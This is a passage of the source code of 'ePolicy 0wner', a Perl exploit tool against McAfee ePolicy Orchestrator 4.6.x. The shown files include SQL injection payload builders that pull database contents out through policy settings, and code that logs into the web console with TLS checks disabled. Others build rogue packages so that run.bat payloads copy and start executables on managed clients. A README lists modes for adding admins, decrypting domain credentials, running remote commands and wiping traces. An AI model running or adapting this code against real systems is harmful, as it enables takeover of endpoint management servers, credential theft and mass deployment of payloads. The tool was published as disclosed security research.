until our evil file exits. 109 | # The content of this file is generated in ModeDeploy.pm 110 | 111 | 112 | my $file_item_evil = ''; # XML for evil file 113 | my $total_sizeKb =0; # total size of files in Kb 114 | 115 | if($action eq DEPLOY_FILE){ 116 | # DEPLOY_FILE 117 | #------------ 118 | 119 | # is evil file exists ? 120 | if(not -f $evil_local_path){ 121 | print "[-] ERROR: (write_pkgcatalog_xml): file '$evil_local_path' not found\n"; 122 | exit; 123 | } 124 | 125 | # get evil filename 126 | my $evil_filename = fileparse($evil_local_path); 127 | 128 | # get evil file size 129 | my $evil_size = -s $evil_local_path ; 130 | $total_sizeKb += int($evil_size / 1024); 131 | 132 | 133 | # get evil file hash 134 | my $content; 135 | open FILE, "$evil_local_path" or die "[-] ERROR: (write_pkgcatalog_xml): can't open '$evil_local_path' fo reading\n"; 136 | read FILE, $content, -s FILE; 137 | close FILE; 138 | my $evil_sha1 = uc(sha1_hex($content)); # must be upper case 139 | 140 | # Build 141 | $file_item_evil = << "EOF"; 142 | 143 | $evil_filename 144 | $evil_size 145 | 1CBB272E220B000 146 | $evil_sha1 147 | 148 | EOF 149 | 150 | }elsif ($action eq DEPLOY_CMD){ 151 | # DEPLOY_CMD 152 | #----------- 153 | 154 | # actually, nothing to do here.. 155 | 156 | }else { 157 | # DEPLOY_CUSTOM 158 | #-------------- 159 | 160 | # custom folder was already checked. pass the check 161 | 162 | # read custom folder dir 163 | opendir DIR, $custom_folder or die "[-] ERROR (write_pkgcatalog_xml): can't open '$custom_folder' directory\n"; 164 | my @files = readdir(DIR); 165 | close DIR; 166 | 167 | # for each entry; add size in Kb 168 | foreach my $entry (@files){ 169 | next if $entry =~ /^\.$|^\.\.$|^run.bat$/; 170 | # add file size 171 | my $size = -s $custom_folder . "/" .$entry ; 172 | $total_sizeKb += int($size / 1024); 173 | 174 | # get file hash 175 | my $content; 176 | open FILE, "$custom_folder/$entry" or die "[-] ERROR: (write_pkgcatalog_xml): can't open '$custom_folder/$entry' fo reading\n"; 177 | read FILE, $content, -s FILE; 178 | close FILE; 179 | my $sha1 = uc(sha1_hex($content)); # must be upper case 180 | 181 | # Build 182 | $file_item_evil .= << "EOF"; 183 | 184 | $entry 185 | $size 186 | 1CBB272E220B000 187 | $sha1 188 | 189 | EOF 190 | 191 | } 192 | 193 | } 194 | 195 | 196 | 197 | # get run_bat filename 198 | my $run_filename = fileparse($run_bat_path); 199 | # get run_bat hash and size 200 | my $content = ''; 201 | open FILE, "$run_bat_path" or die "[-] ERROR: (write_pkgcatalog_xml): can't open '$run_bat_path' fo reading\n"; 202 | read FILE, $content, -s FILE; 203 | close FILE; 204 | my $run_sha1 = uc(sha1_hex($content)); # must be upper case 205 | my $run_size = -s $run_bat_path ; 206 | 207 | # total size of files in Kb 208 | $total_sizeKb += int($run_size / 1024); 209 | 210 | 211 | # pkgcatalog file/path 212 | my $folder = $this->{pkgcatalog_tmp_folder}; 213 | my $file = $folder . "/" . $this->{pkgcatalog_xml_file}; 214 | 215 | 216 | # create temp folder 217 | mkpath($folder); 218 | if(not -d $folder){ 219 | print "[-] ERROR (write_pkgcatalog_xml): can't create directory $folder\n"; 220 | exit; 221 | } 222 | 223 | 224 | my $product_id = $this->{deploy_evil_product_id}; 225 | my $product_build = $this->{deploy_evil_product_build}; 226 | my $product_version = $this->{deploy_evil_product_version}; 227 | my $product_name = lc($product_id); 228 | 229 | # open XML file 230 | open (FILE, ">$file") or die "[-] ERROR (write_pkgcatalog_xml): can't create file $file for writing\n"; 231 | print FILE << "EOF"; 232 | 233 | 234 | 235 | $product_id 236 | $product_name 237 | $product_name 238 | 239 | 240 | fooInstall.McS 241 | 521CBB2E55925B750 242 | A5ACE003AFE7423ABDC86876A8253115C2C84BE5 243 | 244 | >$product_version 245 | W2KW:5:0:4|W2KS:5:0:4|W2KAS:5:0:4|W2KDC:5:0:4|WXPHE:5:1:1|WXPW:5:1:1|WXPE:5:1:2|WXPS:5:2:1|WVST|WVSTS|WNT7W 246 | 247 | 248 | 249 | 1 250 | Install 251 | 0409 252 | command 253 | $run_filename 254 | 3 255 | $total_sizeKb 256 | 3010 257 | 258 | $product_build 259 | 260 | 261 | 262 | $run_filename 263 | $run_size 264 | 1CBB272E220B000 265 | $run_sha1 266 | 267 | $file_item_evil 268 | 269 | 270 | 271 | 272 | 273 | 274 | EOF 275 | close FILE; 276 | } 277 | 278 | 279 | 1; 280 | -------------------------------------------------------------------------------- /Epowner/Print.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Term::ANSIColor; 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | sub print_warn { 10 | my $this = shift; 11 | my $str = shift; 12 | if ($this->{use_color}) { print colored("$str", 'bold magenta'); } 13 | else { print "$str"; } 14 | } 15 | 16 | sub print_err { 17 | my $this = shift; 18 | my $str = shift; 19 | if ($this->{use_color}) { print colored("$str", 'bold red'); } 20 | else { print "$str"; } 21 | } 22 | 23 | sub print_ok { 24 | my $this = shift; 25 | my $str = shift; 26 | if ($this->{use_color}) { print colored("$str", 'bold green');} 27 | else { print "$str"; } 28 | } 29 | 30 | sub print_info { 31 | my $this = shift; 32 | my $str = shift; 33 | if ($this->{use_color}) { print colored("$str", 'bold blue');} 34 | else { print "$str"; } 35 | } 36 | 37 | 38 | sub print_info_l1 { 39 | my $this = shift; 40 | my $str = shift; 41 | if ($this->{use_color}) { print colored("$str", 'cyan');} 42 | else { print "$str"; } 43 | } 44 | 45 | sub print_info_l2 { 46 | my $this = shift; 47 | my $str = shift; 48 | if ($this->{use_color}) { print colored("$str", 'magenta');} 49 | else { print "$str"; } 50 | } 51 | 52 | 53 | sub print_data { 54 | my $this = shift; 55 | my $str = shift; 56 | if ($this->{use_color}) { print colored("$str", 'cyan');} 57 | else { print "$str"; } 58 | } 59 | 60 | 61 | sub print_red { 62 | my $str = shift || ''; 63 | print colored("$str", 'red'); 64 | } 65 | 66 | sub print_cyan { 67 | my $str = shift || ''; 68 | print colored("$str", 'cyan'); 69 | } 70 | 71 | sub print_blue { 72 | my $str = shift || ''; 73 | print colored("$str", 'blue'); 74 | 75 | } 76 | 1; 77 | -------------------------------------------------------------------------------- /Epowner/RSA.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Crypt::OpenSSL::RSA; 4 | use Digest::SHA qw(sha256); 5 | use MIME::Base64; 6 | 7 | use strict; 8 | use warnings; 9 | 10 | 11 | 12 | 13 | sub rsa_hash256_pub_key_from_file { 14 | my $this = shift; 15 | my $filename = shift; 16 | 17 | if(not -e $filename){ 18 | print "[-] ERROR (rsa_hash_pub_key_from_file): file '$filename' not found\n"; 19 | exit; 20 | } 21 | 22 | my $key_string; 23 | open(FILE,$filename) || die "$filename: $!"; 24 | read(FILE,$key_string,-s FILE); 25 | close(FILE); 26 | 27 | my $hash = encode_base64(sha256($key_string), ""); 28 | 29 | # save the hash 30 | return $hash; 31 | 32 | } 33 | 34 | 35 | 36 | 1; 37 | -------------------------------------------------------------------------------- /Epowner/SQL.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Text::SimpleTable; 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | 10 | sub sql_prepare_generic { 11 | my $this = shift; 12 | my $statement = shift; 13 | my $sqli = "') ; " . $statement . " -- "; 14 | return $sqli; 15 | } 16 | 17 | sub sql_prepare_select{ 18 | 19 | my $this = shift; 20 | my $select = shift; 21 | 22 | my $sqli = 23 | 24 | ## Here is how we retrieve the output of a SELECT query.. See also README. 25 | ## NOTE: Do not put any breakline ! 26 | 27 | "') ; " . 28 | #Delete old epowner entries 29 | "delete from dbo.EPOPolicySettingValues where SettingName like 'epowner_data%'; " . 30 | 31 | # PolicySettings Temp : Get the PolicySettingsID which holds 'ProxySettings' values 32 | "declare \@TempPolTbl Table (RowId int identity, PolicySettingsID int); " . 33 | "insert into \@TempPolTbl Select distinct PolicySettingsID from dbo.EPOPolicySettingValues WHERE SectionName='ProxySettings'; " . 34 | "declare \@TempPolicyCount Int; " . 35 | "set \@TempPolicyCount = (Select Count(PolicySettingsID) From \@TempPolTbl); " . 36 | 37 | 38 | # Result Temp table : Read what we want to retrieve, and store it into a temp table 39 | "declare \@TempResultTbl2 Table (RowId int identity, ResultValue varchar(3000)); " . 40 | "insert into \@TempResultTbl2 (ResultValue) $select ;" . 41 | "declare \@TempResultCount Int; " . 42 | "set \@TempResultCount = (Select Count(ResultValue) From \@TempResultTbl2); " . 43 | 44 | 45 | #some indexes for looping 46 | "declare \@PolIndex Int; " . 47 | "declare \@ResIndex Int; " . 48 | 49 | "declare \@GetPolId int; " . 50 | "declare \@GetResVal varchar(3000); " . 51 | "declare \@SettingName varchar(64); " . 52 | 53 | # loop : For each row we want to retrieve 54 | "set \@ResIndex = 1; " . 55 | "while(\@TempResultCount >= \@ResIndex) " . 56 | "begin " . 57 | # get the row 58 | " set \@GetResVal = (select ResultValue from \@TempResultTbl2 where RowId = \@ResIndex); " . 59 | 60 | # loop : for each policy 61 | " set \@PolIndex = 1; " . 62 | " while(\@TempPolicyCount >= \@PolIndex) " . 63 | " begin " . 64 | # add it 65 | " set \@GetPolId = (select PolicySettingsID from \@TempPolTbl where RowId = \@PolIndex); " . 66 | " set \@SettingName = 'epowner_data_' + cast(\@ResIndex as varchar(10)); " . 67 | " insert into EPOPolicySettingValues (PolicySettingsID,SectionName,SettingName,SettingValue) values (\@GetPolId, 'ProxySettings', \@SettingName, \@GetResVal); " . 68 | " set \@PolIndex = \@PolIndex + 1; " . 69 | " end " . 70 | 71 | " set \@ResIndex = \@ResIndex + 1; " . 72 | "end " . 73 | " -- "; 74 | 75 | return $sqli 76 | } 77 | 78 | 79 | sub sql_execute { 80 | 81 | # 1) Send HTTP request 82 | # 2) parse XML response 83 | # 3) extract "epowner_data" XML tags 84 | 85 | 86 | my $this = shift; 87 | my $sqli = shift; 88 | 89 | 90 | # Send the HTTP request 91 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 92 | my $http_response; 93 | if($http_response = $this->send_http_request($http_request)){ 94 | }else{ 95 | exit; 96 | } 97 | 98 | # parse HTTP response ($hash is really a hash) 99 | my $post_hash = $this->parse_http_response($http_response); 100 | my %post = %$post_hash; 101 | 102 | # parse data 103 | my $data_hash = $this->parse_data_response($post{'data'} ); 104 | my %data = %$data_hash; 105 | 106 | # parse server.xml and extract epowner_data_xxx 107 | my @results = $this->parse_server_xml($data{'server_xml'}); 108 | 109 | return (@results); 110 | 111 | } 112 | 113 | 114 | 1; 115 | -------------------------------------------------------------------------------- /Epowner/StringsManipulation.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use strict; 4 | use warnings; 5 | 6 | 7 | #================================= 8 | # Generate_guid function 9 | #================================= 10 | sub generate_guid { 11 | 12 | my @chars=('0'..'9', 'A'..'F'); 13 | my $guid; 14 | # Sample: {82222222-83F7-48EB-83D4-5DAC1DBF8B19} 15 | foreach (1..8) { $guid.=$chars[rand @chars]; } $guid .= "-"; 16 | foreach (1..4) { $guid.=$chars[rand @chars]; } $guid .= "-"; 17 | foreach (1..4) { $guid.=$chars[rand @chars]; } $guid .= "-"; 18 | foreach (1..4) { $guid.=$chars[rand @chars]; } $guid .= "-"; 19 | foreach (1..12) { $guid.=$chars[rand @chars]; } 20 | $guid = "{" . $guid . "}"; 21 | return $guid; 22 | } 23 | 24 | 25 | 26 | #================================= 27 | # XOR string 28 | # param1 : str 29 | # param2 : xor key(one byte) 30 | #================================= 31 | sub xor_str{ 32 | my $buf = shift; 33 | my $key = shift; 34 | my $out; 35 | for(my $i=0;$i{browser}; 18 | 19 | 20 | # Init table 21 | my $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}//core/orionTab.do?sectionId=orion.automation&tabId=response.tab.rules"); 22 | print " [+] GET /core/orionTab.do?sectionId=orion.automation&tabId=response.tab.rules : " if $this->{verbose}; 23 | my $res = $ua->request($req); 24 | if ( ! $res->is_success) { 25 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose}; 26 | return 0; 27 | } 28 | print "OK\n" if $this->{verbose}; 29 | 30 | 31 | # search our response rule 32 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/core/loadTableData.do?datasourceAttr=response.ruleDatasource&filter=ALL_EVENTS&secondaryFilter=&tableCellRendererAttr=response.ruleCellRenderer&count=35&sortProperty=name&quickSearch=$filter&id=ruleTable"); 33 | print " [+] GET /core/loadTableData.do : " if $this->{verbose}; 34 | $res = $ua->request($req); 35 | if ( ! $res->is_success) { 36 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose}; 37 | return 0; 38 | } 39 | print "OK\n" if $this->{verbose}; 40 | 41 | 42 | # extracte rule uid 43 | my $uid = $res->content; 44 | $uid =~ s/^.*"uid" : "([0-9]+)",.*$/$1/; 45 | if ($uid !~ /^[0-9]+$/){ 46 | print " [-] Failed to find UID of our response rule ... \n" if $this->{verbose}; 47 | return 0; 48 | } 49 | 50 | 51 | # Call Edit form 52 | #=================== 53 | $req = POST "https://$this->{server_host}:$this->{server_consoleport}/response/editRule.do",, 54 | Content_Type => 'form-data', 55 | Content => [ "orion.user.security.token" => $this->{security_token}, 56 | "UIDs" => $uid]; 57 | print " [+] POST /response/editRule.do : " if $this->{verbose}; 58 | $res = $ua->request($req); 59 | if($res->code eq 302){ 60 | print "OK\n" if $this->{verbose}; 61 | }else{ 62 | print "failure ..\n" if $this->{verbose};; 63 | return 0; 64 | } 65 | 66 | 67 | # display rule 68 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/response/displayRuleDescription.do"); 69 | print " [+] GET /response/displayRuleDescription.do : " if $this->{verbose}; 70 | $res = $ua->request($req); 71 | if ( ! $res->is_success) { 72 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};; 73 | return 0; 74 | } 75 | print "OK\n" if $this->{verbose}; 76 | 77 | 78 | 79 | # /core/orionTableUpdateState.do 80 | $req = HTTP::Request->new(POST => "https://$this->{server_host}:$this->{server_consoleport}/core/orionTableUpdateState.do"); 81 | $req->content_type('application/x-www-form-urlencoded'); 82 | $req->content("orion.user.security.token=$this->{security_token}&dataSourceAttr=response.ruleDatasource&tableId=ruleTable&columnWidths=680%2C203%2C274%2C365%2C477&sortColumn=name&sortOrder=0&showFilters=true¤tIndex=0&ajaxMode=standard"); 83 | print " [+] POST /core/orionTableUpdateState.do : " if $this->{verbose}; 84 | $res = $ua->request($req); 85 | if($res->code eq 200){ 86 | print "OK\n" if $this->{verbose}; 87 | }else{ 88 | print "Request failure ..\n" if $this->{verbose};; 89 | return 0; 90 | } 91 | 92 | 93 | # /response/updateRuleDescription.do 94 | $req = HTTP::Request->new(POST => "https://$this->{server_host}:$this->{server_consoleport}/response/updateRuleDescription.do"); 95 | $req->content_type('application/x-www-form-urlencoded'); 96 | $req->content("orion.user.security.token=$this->{security_token}&wizardCurrentPage=description&name=" . $this->{common_prefix} . "&description=&language=en&enabled=true&orion.wizard.step=final"); 97 | print " [+] POST /response/updateRuleDescription.do : " if $this->{verbose}; 98 | $res = $ua->request($req); 99 | if($res->code eq 302){ 100 | print "OK\n" if $this->{verbose}; 101 | }else{ 102 | print "Request failure ..\n" if $this->{verbose}; 103 | return 0; 104 | } 105 | 106 | 107 | # save rule 108 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/response/response/saveRule.do?orion.user.security.token=$this->{security_token}"); 109 | print " [+] GET /response/response/saveRule.do : " if $this->{verbose}; 110 | $res = $ua->request($req); 111 | if ($res->code ne 302 and $res->code ne 200 ) { 112 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose}; 113 | return 0; 114 | } 115 | print "OK\n" if $this->{verbose}; 116 | 117 | 118 | return 1; 119 | 120 | } 121 | 122 | 123 | 124 | 1; 125 | -------------------------------------------------------------------------------- /Epowner/TomcatLogin.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use LWP; 4 | use HTML::TokeParser::Simple; 5 | 6 | use strict; 7 | use warnings; 8 | 9 | # git-issue-1 10 | IO::Socket::SSL::set_ctx_defaults(SSL_verify_mode => SSL_VERIFY_NONE); 11 | $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0; 12 | 13 | 14 | sub tomcat_login { 15 | my $this = shift; 16 | my $username = shift; 17 | my $password = shift; 18 | 19 | 20 | 21 | # init browser 22 | $this->{browser} = LWP::UserAgent->new (ssl_opts => { verify_hostname => 0, SSL_verify_mode => SSL_VERIFY_NONE }); 23 | my $ua = $this->{browser}; 24 | $ua->cookie_jar( {} ); 25 | 26 | 27 | # Create a request and get cookie 28 | #================================= 29 | my $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/core/orionSplashScreen.do"); 30 | print " [+] GET /core/orionSplashScreen.do : " if $this->{verbose}; 31 | my $res = $ua->request($req); 32 | if ( ! $res->is_success) { 33 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose}; 34 | return 0; 35 | } 36 | print "OK\n" if $this->{verbose}; 37 | 38 | 39 | 40 | # Do Login 41 | #=================== 42 | $req = HTTP::Request->new(POST => "https://$this->{server_host}:$this->{server_consoleport}/core/j_security_check"); 43 | $req->content_type('application/x-www-form-urlencoded'); 44 | $req->content("j_username=$username&j_password=$password"); 45 | print " [+] POST /core/j_security_check : " if $this->{verbose}; 46 | $res = $ua->request($req); 47 | if($res->code eq 302){ 48 | print "OK\n" if $this->{verbose}; 49 | }else{ 50 | print "Authentication failure ..\n" if $this->{verbose}; 51 | return 0; 52 | } 53 | 54 | 55 | # Go back to SplashScreen.do and get SSO cookie + Security Token 56 | #================================================================ 57 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/core/orionSplashScreen.do"); 58 | print " [+] GET /core/orionSplashScreen.do : " if $this->{verbose}; 59 | $res = $ua->request($req); 60 | if ( ! $res->is_success) { 61 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};; 62 | return 0; 63 | } 64 | print "OK\n" if $this->{verbose}; 65 | 66 | # Parse HTML , extract token 67 | my $content = $res->content; 68 | my $parser = HTML::TokeParser::Simple->new(\$content); 69 | 70 | while ( my $tag = $parser->get_tag('input') ) { 71 | my $name = $tag->get_attr('name'); 72 | next unless defined $name and $name eq 'orion.user.security.token'; 73 | $this->{security_token} = $tag->get_attr('value'); 74 | } 75 | if($this->{security_token} eq ''){ 76 | print " [-] Could not get Tomcat security token from HTML response ..\n" if $this->{verbose};; 77 | return 0; 78 | } 79 | 80 | print " [+] Logged in !\n" if $this->{verbose}; 81 | 82 | 83 | return 1; 84 | } 85 | 86 | 87 | 88 | 89 | 1; 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | INTRODUCTION 2 | ============ 3 | 4 | - This is **"ePolicy 0wner"**, a sexy exploit aginst **McAfee ePolicy Orchestrator** versions 4.6.0 -> 4.6.5 5 | 6 | + Author: jerome.nokin@gmail.com 7 | + Blog: http://funoverip.net 8 | + Discovered on: 20 November 2012 9 | + Fixed on: 25 April 2013 10 | 11 | - In short, this tool registers a rogue agent on the ePo server and then takes advantage of the following vulnerabilities to perform multiple actions : 12 | 13 | + **CVE-2013-0140** : Pre-auth SQL Injection 14 | + **CVE-2013-0141** : Pre-auth Directory Path Traversal 15 | 16 | - The tool manages the following actions, called "mode" : 17 | 18 | + **--register** Register a new agent on the ePo server (it's free) 19 | + **--check** Check the SQL Injection vunerability 20 | + **--add-admin** Add a new web admin account into the DB 21 | + **--readdb** Retrieve various information from the database 22 | + **--get-install-path** Retrieve the installation path of ePo software (needed for other modes) 23 | + **--ad-creds** Retrieve and decrypt cached domain credentials from ePo database. 24 | + **--wipe** Wipe our traces from the database and file system 25 | + **--srv-exec** Perform remote command execution on the ePo server 26 | + **--srv-upload** Upload files on the ePo server 27 | + **--cli-deploy** Deploy commands or softwares on clients 28 | 29 | - It is strongly advised to read the manual which explains how to use these modes (see README). But basically, your two first actions must be: 30 | 31 | + 1) Register a rogue agent using **--register** 32 | + 2) Setup Remote Code execution using **--srv-exec --wizard** 33 | 34 | - You may find a vulnerable version of the ePo software on my blog (http://funoverip.net/tag/epowner/). Deploy 2 VMs (eposrv + epocli) and test it ! 35 | 36 | - The tool was developed/tested on Backtrack 5r3, Kali Linux 1.0.6 and Ubuntu 12.04. It won't work under Windows due to linux tools dependencies. 37 | + ePolicy Orchestrator was running on Win2003 and Win2003 R2 38 | + The managed stations were running on WinXPsp3 and Win7 39 | 40 | ADDITIONAL INFORMATION 41 | ====================== 42 | 43 | - See http://funoverip.net/tag/epowner/ 44 | - See the main **README** file for the manual. 45 | 46 | -------------------------------------------------------------------------------- /cli-deploy-templates/README.txt: -------------------------------------------------------------------------------- 1 | 2 | !!! EXPERIMENTAL !!! 3 | 4 | Software deployment using "templates" (instead of --cmd and --file). 5 | To use with '--cli-deploy --template ' 6 | 7 | ================================================================================ 8 | 9 | Why this option ? 10 | 11 | Read below :) 12 | 13 | 14 | What happen on the managed station when you run '--cli-deploy --cmd <...>' ? 15 | 16 | A McAfee package is copied on the managed station under: 17 | %ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\ 18 | 19 | ePowner create a file called run.bat under this directory (which contains your cmd) 20 | 21 | The McAfee agent run it, then delete the whole content of the folder.. 22 | 23 | 24 | What happen on the managed station when you run '--cli-deploy --file evil.exe [--file-arg <...>]' ? 25 | 26 | Like '--cmd', a McAfee package is copied on the managed station under: 27 | %ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\ 28 | 29 | ePowner add your evil file under this directory + run.bat which contains the following: 30 | start "" "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.exe" 31 | 32 | ePowner use "start" command to execute evil.exe in background. Otherwise, the deployment task doesn't return until your file exits, 33 | which blocks further deployment tasks. 34 | 35 | The McAfee agent execute run.bat, then delete the whole content of the folder. 36 | Note that evil.exe will not be deleted if it is running (makes sense). This will 37 | actually be the case everytime you use '--file', excepting if your file fails to start (never tested). 38 | 39 | 40 | Finaly, why this template option ? 41 | 42 | For many reasons. Here are some of them: 43 | 44 | 1) You need to give additional files to '--file' (ex: EXE + some DLL) 45 | 46 | 2) You need more than one line in '--cmd ', or just want to do some advanced stuffs. 47 | 48 | 3) You want to move your files somewhere else before execution, to make them persistent (ex: system32 folder). 49 | 50 | So, with a template, you can do absolutly what you want on the managed stations. 51 | 52 | 53 | How to use a template ? 54 | 55 | All you need to do, is copying your file(s) into a folder and manage 'run.bat' content. 56 | See examples from existing templates. 57 | 58 | Notes about 'run.bat' file: 59 | 60 | - It MUST exist ! Using ePowner, the McAfee agent running on the station will search for that file. 61 | 62 | - [MCAFEE_PACKAGE_NAME] pattern refers to the rogue package name (randomly generated by ePowner). 63 | Do not change it ! It will be automatically updated by ePowner. 64 | See 'template0_file/run.bat' as example. 65 | 66 | Then use '--cli-deploy --template ' 67 | ePowner will then generate some additional files (metadata), build a valid package, 68 | push it on the repository, and then continue its job like with --cmd and --file. 69 | 70 | 71 | Template examples: 72 | 73 | - see "custom0_cmd" and "custom0_file" folders which are the equivalent to '--cmd' and '--file' options respectively. 74 | 75 | - "custom1" : this template copy evil.exe and evil.dll into c:\, then execute c:\evil.exe 76 | 77 | 78 | -------------------------------------------------------------------------------- /cli-deploy-templates/custom0_cmd/run.bat: -------------------------------------------------------------------------------- 1 | ping 192.68.0.1 2 | -------------------------------------------------------------------------------- /cli-deploy-templates/custom0_file/evil.exe: -------------------------------------------------------------------------------- 1 | I am an evil EXE file ... 2 | -------------------------------------------------------------------------------- /cli-deploy-templates/custom0_file/run.bat: -------------------------------------------------------------------------------- 1 | start "" "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.exe" 2 | -------------------------------------------------------------------------------- /cli-deploy-templates/custom1/evil.dll: -------------------------------------------------------------------------------- 1 | I am an evil DLL file 2 | -------------------------------------------------------------------------------- /cli-deploy-templates/custom1/evil.exe: -------------------------------------------------------------------------------- 1 | I am an evil EXE file ... 2 | -------------------------------------------------------------------------------- /cli-deploy-templates/custom1/run.bat: -------------------------------------------------------------------------------- 1 | copy /Y "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.exe" c:\evil.exe 2 | copy /Y "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.dll" c:\evil.dll 3 | start "" "c:\evil.exe" 4 | -------------------------------------------------------------------------------- /fingerprinting/http-epo-fingerprint.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Gather McAfee ePolicy Orchestrator versions 3 | ]] 4 | 5 | --- 6 | -- @output 7 | -- PORT STATE SERVICE 8 | -- 443/tcp open https 9 | -- | http-epo: McAffe ePolicy Orchestrator server found 10 | -- | Version: 4.6.4 11 | -- | WebConsole available: YES 12 | -- |_reqseckey: available (rogue agent registration possible) 13 | -- 14 | 15 | author = "Jerome Nokin (http://funoverip.net)" 16 | 17 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 18 | 19 | categories = {"default", "safe"} 20 | 21 | require "nmap" 22 | require "shortport" 23 | require "http" 24 | require "strbuf" 25 | 26 | portrule = shortport.port_or_service(443,"https") 27 | 28 | action = function(host, port) 29 | local status = false 30 | local result 31 | local epo_version 32 | local webconsole 33 | local out 34 | 35 | -- this key is needed to register a rogue agent 36 | local path_reqseckey = "/Software/Current/EPOAGENT3000/Install/0409/reqseckey.bin" 37 | -- this file provide epo version 38 | local path_sitelist = "/Software/Current/EPOAGENT3000/Install/0409/sitelist.xml" 39 | 40 | local options = {header={}} 41 | options['header']['User-Agent'] = "Mozilla/5.0" 42 | options['redirect_ok'] = false 43 | 44 | -- Get reqseckey.bin 45 | result = http.generic_request(host, port, "GET", path_reqseckey , options) 46 | if(result == nil) then 47 | return nil 48 | end 49 | if result.status ~= 200 then 50 | return nil 51 | end 52 | if result.header["content-type"] ~= "application/octet-stream" then 53 | return nil 54 | end 55 | 56 | 57 | -- get sitelist.xml 58 | local body = http.generic_request(host, port, "GET", path_sitelist , options).body 59 | local regex = pcre.new(" Version=\"([0-9.]+)\" ", 0, "C") 60 | 61 | -- get version from sitelist.xml 62 | local s, e, t = regex:exec(body, 0, 0) 63 | local epo_version = string.sub(body, t[1], t[2]) 64 | 65 | -- check if web console is open on default port 66 | result = "" 67 | -- result = http.generic_request(host, "8443", "GET", "/help/orionhelp.js" , {redirect_ok = false}) 68 | result = http.generic_request(host, "8443", "GET", "/help/orionhelp.js" , options) 69 | webconsole = "no " 70 | if(result ~= nil) then 71 | if result.status == 200 then 72 | webconsole = "YES" 73 | end 74 | end 75 | 76 | 77 | -- out = "FOUND! Version: " .. epo_version .. " WebConsole: " .. webconsole .. " https://" .. host.ip .. path_sitelist 78 | out = "McAffe ePolicy Orchestrator server found\n" 79 | out = out .. "Version: " .. epo_version .. "\n" 80 | out = out .. "WebConsole available on default port: " .. webconsole .. "\n" 81 | out = out .. "reqseckey: available (rogue agent registration possible)" .. "\n" 82 | return out 83 | end 84 | 85 | 86 | -------------------------------------------------------------------------------- /fingerprinting/ssl-fingerprint.txt: -------------------------------------------------------------------------------- 1 | The SSL certificate installed on the ePO server (port 443/TCP) has a magical pattern. 2 | The 'SSL Subject' always starts with the following: "/O=McAfee/OU=ePO/CN=" 3 | 4 | 5 | -------------------------------------------------------------------------------- /lib/Crypt/TripleDES.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ## 3 | ## Crypt::TripleDES -- Pure Perl Triple DES encryption. 4 | ## 5 | ## Copyright (c) 1999, Vipul Ved Prakash. All rights reserved. 6 | ## This code is free software; you can redistribute it and/or modify 7 | ## it under the same terms as Perl itself. 8 | ## 9 | ## $Id: TripleDES.pm,v 0.24 1999/10/13 23:26:15 root Exp root $ 10 | 11 | package Crypt::TripleDES; 12 | use Crypt::PPDES; 13 | use vars qw( $AUTOLOAD $VERSION); 14 | ( $VERSION ) = '$Revision: 0.24 $' =~ /\s(\d+\.\d+)\s/; 15 | 16 | sub AUTOLOAD { 17 | my ( $self, @args ) = @_; 18 | my $key = $AUTOLOAD; $key =~ s/.*://; 19 | if ( $key eq "encrypt3" ) { 20 | return $self->decrypt3 ( @args, 1 ); 21 | } 22 | } 23 | 24 | sub new { return bless {}, shift } 25 | 26 | sub decrypt3 { 27 | 28 | my ( $self, $plaintext, $passphrase, $flag ) = @_; 29 | my %keyvecs; 30 | $passphrase .= ' ' x (16*3); 31 | 32 | for ( 0..2 ) { 33 | my @kvs = Crypt::PPDES::des_set_key( pack( "H*", substr($passphrase, 16*$_, 16 ))); 34 | $keyvecs{$_} = \@kvs; 35 | } 36 | 37 | my $size = length ( $plaintext ); 38 | my $tail = 8 - ( $size % 8 ); $tail = 0 if $tail > 7; 39 | $plaintext .= chr(32) x $tail; 40 | $size = length ( $plaintext ); 41 | my $cyphertext = ""; 42 | 43 | for ( 0 .. (($size)/8) -1 ) { 44 | my $pt = substr( $plaintext, $_*8, 8 ); 45 | $pt = Crypt::PPDES::des_ecb_encrypt( $flag ? $keyvecs{0} : $keyvecs{2}, $flag, $pt ); 46 | $pt = Crypt::PPDES::des_ecb_encrypt( $keyvecs{1}, (not $flag), $pt ); 47 | $pt = Crypt::PPDES::des_ecb_encrypt( $flag ? $keyvecs{2} : $keyvecs{0}, $flag, $pt ); 48 | $cyphertext .= $pt; 49 | } 50 | 51 